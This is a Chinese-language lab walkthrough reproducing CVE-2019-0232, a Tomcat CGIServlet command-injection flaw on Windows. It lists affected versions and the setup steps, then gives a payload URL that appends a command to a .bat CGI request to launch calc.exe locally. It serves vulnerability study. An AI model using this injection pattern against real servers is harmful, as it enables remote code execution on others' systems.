CVE-2019-0232 远程代码执行漏洞-复现

newfarhui 2020-02-22

0x00 漏洞介绍

  该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。

  该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。

0x01 漏洞影响范围

  Apache Tomcat 9.0.0.M1 to 9.0.17        

  Apache Tomcat 8.5.0 to 8.5.39        

  Apache Tomcat 7.0.0 to 7.0.93

0x02 环境

  VMware 虚拟机 windows 7      

  JDK 1.8.0_73      

  Apache tomcat 9.0.13

0x03 复现步骤

(一)首先安装JDK(这里我安装的是JDK 1.8.0_73)然后配置环境变量

    CVE-2019-0232 远程代码执行漏洞-复现

    CVE-2019-0232 远程代码执行漏洞-复现

  新建变量名为JAVA_HOME的变量变量值为你安装jdk的路径

  例:变量名:JAVA_HOME变量值:C:\Program Files (x86)\Java\jdk1.8.0_73

  新建变量名为JRE_HOME的变量变量值为你安装jdk文件夹中jre文件夹的路径

  例:变量名JRE_HOME变量值: C:\Program Files (x86)\Java\jdk1.8.0_73\jre

  新建变量名为CLASSPATH的变量变量值为.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar(ps:前面有个点)

  在变量path新增变量值为;%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin(ps:前面有;)  

  配好变量后打开cmd命令框输入java –version出现java版本号等信息则说明变量安装成功。

   如图:

      CVE-2019-0232 远程代码执行漏洞-复现

(二)安装tomcat

  这里我用的是 apache - tomcat - 19.0.3

  tomcat各个版本下载链接:https://archive.apache.org/dist/tomcat/

  安装完成之后,cmd 启动 tomcat

CVE-2019-0232 远程代码执行漏洞-复现

打开浏览器访问正常,说明tomcat安装完毕。 

CVE-2019-0232 远程代码执行漏洞-复现

(三)修改配置文件

  1.apache-tomcat-9.0.13\conf\web.xml  该文件    

   需要取消掉注释的一共是俩部分,并且将下图框中内容插入

CVE-2019-0232 远程代码执行漏洞-复现

CVE-2019-0232 远程代码执行漏洞-复现

  2.conf/context.xml  中的<Context>添加privileged="true"语句 如下图

CVE-2019-0232 远程代码执行漏洞-复现

  3.在C:\Users\lenovo\Desktop\apache-tomcat-9.0.13\apache-tomcat-9.0.13\webapps\ROOT\WEB-INF    

   下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件可以什么都不写或者写一些bat语句。

     CVE-2019-0232 远程代码执行漏洞-复现

     CVE-2019-0232 远程代码执行漏洞-复现

  一切准备完成。

(四)重启tomcat。

(五)利用payload

  payload:http://localhost:8080/cgi-bin/hello.bat?&C:\Windows\System32\calc.exe

  该payload为打开计算器,访问之后成功打开计算器。

   CVE-2019-0232 远程代码执行漏洞-复现

 

(六)复现成功。

Tank You !!

        

 

相关推荐